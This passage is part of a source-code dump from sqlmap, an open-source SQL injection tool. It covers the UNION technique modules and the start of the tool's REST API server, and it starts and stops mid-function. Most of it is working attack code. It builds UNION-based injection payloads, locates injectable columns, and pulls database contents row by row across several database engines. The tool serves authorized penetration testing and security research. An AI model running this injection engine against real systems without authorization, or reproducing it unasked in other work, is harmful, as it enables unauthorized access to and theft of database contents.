kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warning(warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" logger.warning(warnMsg) else: break return validPayload, vector def _unionConfirm(comment, place, parameter, prefix, suffix, count): validPayload = None vector = None # Confirm the union SQL injection and get the exact column # position which can be used to extract data validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count) # Assure that the above function found the exploitable full union # SQL injection position if not validPayload: validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) return validPayload, vector def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None orderBy = kb.orderByColumns uChars = (conf.uChar, kb.uChar) where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if kb.fuzzUnionTest is None: msg = "do you want to (re)try to find proper " msg += "UNION column types with fuzzy test? [y/N] " kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) if kb.fuzzUnionTest: kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default='Y', boolean=True): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) conf.uChar, kb.uChar = uChars validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) return validPayload, vector @stackedmethod def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return negativeLogic = kb.negativeLogic setTechnique(PAYLOAD.TECHNIQUE.UNION) try: if negativeLogic: pushValue(kb.negativeLogic) pushValue(conf.string) pushValue(conf.code) kb.negativeLogic = False conf.string = conf.code = None validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) finally: if negativeLogic: conf.code = popValue() conf.string = popValue() kb.negativeLogic = popValue() if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) return validPayload, vector ================================================ FILE: lib/techniques/union/use.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import json import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import firstNotNone from lib.core.common import flattenValue from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from thirdparty import six from thirdparty.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.jsonAggMode: injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] # Note: introduced columns in 1.4.2.42#dev try: kb.tableFrom = vector[9] kb.unionTemplate = vector[10] except IndexError: pass query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: injExpression = unescaper.escape(expression) where = vector[6] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) if page and kb.chars.start.upper() in page and kb.chars.start not in page: singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them") page = page.lower() incrementCounter(PAYLOAD.TECHNIQUE.UNION) if kb.jsonAggMode: for _page in (page or "", (page or "").replace('\\"', '"')): if Backend.isDbms(DBMS.MSSQL): output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: try: retVal = None output_decoded = htmlUnescape(output) json_data = json.loads(output_decoded, object_pairs_hook=OrderedDict) if not isinstance(json_data, list): json_data = [json_data] if json_data and isinstance(json_data[0], dict): fields = list(json_data[0].keys()) if fields: parts = [] for row in json_data: parts.append("%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop)) retVal = "".join(parts) except: retVal = None else: retVal = getUnicode(retVal) elif Backend.isDbms(DBMS.PGSQL): output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: retVal = output else: output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: try: retVal = "" for row in json.loads(output): # NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="] for match in re.finditer(r"base64:type\d+:([^ ]+)", row): row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False)) retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) except: retVal = None else: retVal = getUnicode(retVal) if retVal: break else: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return firstNotNone( extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) ) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlUnescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.jsonAggMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warning(warnMsg) elif re.search(r"ORDER BY [^ ]+\Z", expression): debugMsg = "retrying failed SQL query without the ORDER BY clause" singleTimeDebugMessage(debugMsg) expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) retVal = _oneShotUnionUse(expression, unpack, limited) elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) singleTimeDebugMessage(debugMsg) kb.nchar = False retVal = _oneShotUnionUse(expression, unpack, limited) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal def configUnion(char=None, columns=None): def _configUnionChar(char): if not isinstance(char, six.string_types): return kb.uChar = char if conf.uChar is not None: kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'")) def _configUnionCols(columns): if not isinstance(columns, six.string_types): return columns = columns.replace(' ', "") if '-' in columns: colsStart, colsStop = columns.split('-') else: colsStart, colsStop = columns, columns if not isDigit(colsStart) or not isDigit(colsStop): raise SqlmapSyntaxException("--union-cols must be a range of integers") conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) if conf.uColsStart > conf.uColsStop: errMsg = "--union-cols range has to represent lower to " errMsg += "higher number of columns" raise SqlmapSyntaxException(errMsg) _configUnionChar(char) _configUnionCols(conf.uCols or columns) def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True if Backend.isDbms(DBMS.MYSQL): query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.ORACLE): query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.SQLITE): query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.PGSQL): query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.MSSQL): query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) output = _oneShotUnionUse(query, False) value = parseUnionPage(output) kb.jsonAggMode = False # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) debugMsg = "used SQL query returns " debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.debug(debugMsg) elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warning(warnMsg) stopLimit = 1 elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warning(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info for " debugMsg += "large number of rows as it might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: threadData.shared.counter += 1 num = next(threadData.shared.limits) except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: with kb.locks.value: if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): items = parseUnionPage(output) if threadData.shared.showEta: threadData.shared.progress.progress(threadData.shared.counter) if isListLike(items): # in case that we requested N columns and we get M!=N then we have to filter a bit if len(items) > 1 and len(expressionFieldsList) > 1: items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] items = [_ for _ in flattenValue(items)] if len(items) > len(expressionFieldsList): filtered = OrderedDict() for item in items: key = re.sub(r"[^A-Za-z0-9]", "", item).lower() if key not in filtered or re.search(r"[^A-Za-z0-9]", item): filtered[key] = item items = list(six.itervalues(filtered)) items = [items] index = None for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, items)) else: index = None if threadData.shared.showEta: threadData.shared.progress.progress(threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, None)) items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] if not isNoneValue(_): threadData.shared.value.extend(arrayizeValue(_)) del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode: _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warning(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration) logger.debug(debugMsg) return value ================================================ FILE: lib/utils/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/utils/api.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import contextlib import logging import os import re import shlex import socket import sqlite3 import sys import tempfile import threading import time from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import saveConfig from lib.core.common import setColor from lib.core.common import unArrayizeValue from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import dejsonize from lib.core.convert import encodeBase64 from lib.core.convert import encodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.defaults import _defaults from lib.core.dicts import PART_RUN_CONTENT_TYPES from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import CONTENT_STATUS from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import IS_WIN from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook from thirdparty.bottle.bottle import post from thirdparty.bottle.bottle import request from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run from thirdparty.bottle.bottle import server_names from thirdparty import six from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import input as _input from thirdparty.six.moves import urllib as _urllib # Global data storage class DataStore(object): admin_token = "" current_db = None tasks = dict() username = None password = None # API objects class Database(object): filepath = None def __init__(self, database=None): self.database = self.filepath if database is None else database self.connection = None self.cursor = None def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() self.lock = threading.Lock() logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): if self.cursor: self.cursor.close() if self.connection: self.connection.close() def commit(self): self.connection.commit() def execute(self, statement, arguments=None): with self.lock: while True: try: if arguments: self.cursor.execute(statement, arguments) else: self.cursor.execute(statement) except sqlite3.OperationalError as ex: if "locked" not in getSafeExString(ex): raise else: time.sleep(1) else: break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() def init(self): self.execute("CREATE TABLE IF NOT EXISTS logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") self.execute("CREATE TABLE IF NOT EXISTS data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") self.execute("CREATE TABLE IF NOT EXISTS errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") class Task(object): def __init__(self, taskid, remote_addr): self.remote_addr = remote_addr self.process = None self.output_directory = None self.options = None self._original_options = None self.initialize_options(taskid) def initialize_options(self, taskid): datatype = {"boolean": False, "string": None, "integer": None, "float": None} self.options = AttribDict() for _ in optDict: for name, type_ in optDict[_].items(): type_ = unArrayizeValue(type_) self.options[name] = _defaults.get(name, datatype[type_]) # Let sqlmap engine knows it is getting called by the API, # the task ID and the file path of the IPC database self.options.api = True self.options.taskid = taskid self.options.database = Database.filepath # Enforce batch mode and disable coloring and ETA self.options.batch = True self.options.disableColoring = True self.options.eta = False self._original_options = AttribDict(self.options) def set_option(self, option, value): self.options[option] = value def get_option(self, option): return self.options[option] def get_options(self): return self.options def reset_options(self): self.options = AttribDict(self._original_options) def engine_start(self): handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) os.close(handle) saveConfig(self.options, configFile) if os.path.exists("sqlmap.py"): self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")): self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) else: self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) def engine_stop(self): if self.process: self.process.terminate() return self.process.wait() else: return None def engine_process(self): return self.process def engine_kill(self): if self.process: try: self.process.kill() return self.process.wait() except: pass return None def engine_get_id(self): if self.process: return self.process.pid else: return None def engine_get_returncode(self): if self.process: self.process.poll() return self.process.returncode else: return None def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) # Wrapper functions for sqlmap engine class StdDbOut(object): def __init__(self, taskid, messagetype="stdout"): # Overwrite system standard output and standard error to write # to an IPC database self.messagetype = messagetype self.taskid = taskid if self.messagetype == "stdout": sys.stdout = self else: sys.stderr = self def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": if content_type is None: if kb.partRun is not None: content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) else: # Ignore all non-relevant messages return output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) # Delete partial output from IPC database if we have got a complete output if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: for index in xrange(len(output)): conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) if kb.partRun: kb.partRun = None elif status == CONTENT_STATUS.IN_PROGRESS: if len(output) == 0: conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) else: new_value = "%s%s" % (dejsonize(output[0][2]), value) conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) else: conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) def flush(self): pass def close(self): pass def seek(self): pass class LogRecorder(logging.StreamHandler): def emit(self, record): """ Record emitted events to IPC database for asynchronous I/O communication with the parent process """ conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) def setRestAPILog(): if conf.api: try: conf.databaseCursor = Database(conf.database) conf.databaseCursor.connect("client") except sqlite3.OperationalError as ex: raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database)) # Set a logging handler that writes log messages to a IPC database logger.removeHandler(LOGGER_HANDLER) LOGGER_RECORDER = LogRecorder() logger.addHandler(LOGGER_RECORDER) # Generic functions def is_admin(token): return DataStore.admin_token == token @hook('before_request') def check_authentication(): if not any((DataStore.username, DataStore.password)): return authorization = request.headers.get("Authorization", "") match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization) if not match: request.environ["PATH_INFO"] = "/error/401" try: creds = decodeBase64(match.group(1), binary=False) except: request.environ["PATH_INFO"] = "/error/401" else: if creds.count(':') != 1: request.environ["PATH_INFO"] = "/error/401" else: username, password = creds.split(':') if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): request.environ["PATH_INFO"] = "/error/401" @hook("after_request") def security_headers(json_header=True): """ Set some headers across all HTTP responses """ response.headers["Server"] = "Server" response.headers["X-Content-Type-Options"] = "nosniff" response.headers["X-Frame-Options"] = "DENY" response.headers["X-XSS-Protection"] = "1; mode=block" response.headers["Pragma"] = "no-cache" response.headers["Cache-Control"] = "no-cache" response.headers["Expires"] = "0" if json_header: response.content_type = "application/json; charset=UTF-8" ############################## # HTTP Status Code functions # ############################## @return_error(401) # Access Denied def error401(error=None): security_headers(False) return "Access denied" @return_error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" @return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" @return_error(500) # Internal Server Error def error500(error=None): security_headers(False) return "Internal server error" ############# # Auxiliary # ############# @get('/error/401') def path_401(): response.status = 401 return response ############################# # Task management functions # ############################# # Users' methods @get("/task/new") def task_new(): """ Create a new task """ taskid = encodeHex(os.urandom(8), binary=False) remote_addr = request.remote_addr DataStore.tasks[taskid] = Task(taskid, remote_addr) logger.debug("Created new task: '%s'" % taskid) return jsonize({"success": True, "taskid": taskid}) @get("/task/<taskid>/delete") def task_delete(taskid): """ Delete an existing task """ if taskid in DataStore.tasks: DataStore.tasks.pop(taskid) logger.debug("(%s) Deleted task" % taskid) return jsonize({"success": True}) else: response.status = 404 logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid) return jsonize({"success": False, "message": "Non-existing task ID"}) ################### # Admin functions # ################### @get("/admin/list") @get("/admin/<token>/list") def task_list(token=None): """ Pull task list """ tasks = {} for key in DataStore.tasks: if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: tasks[key] = dejsonize(scan_status(key))["status"] logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) 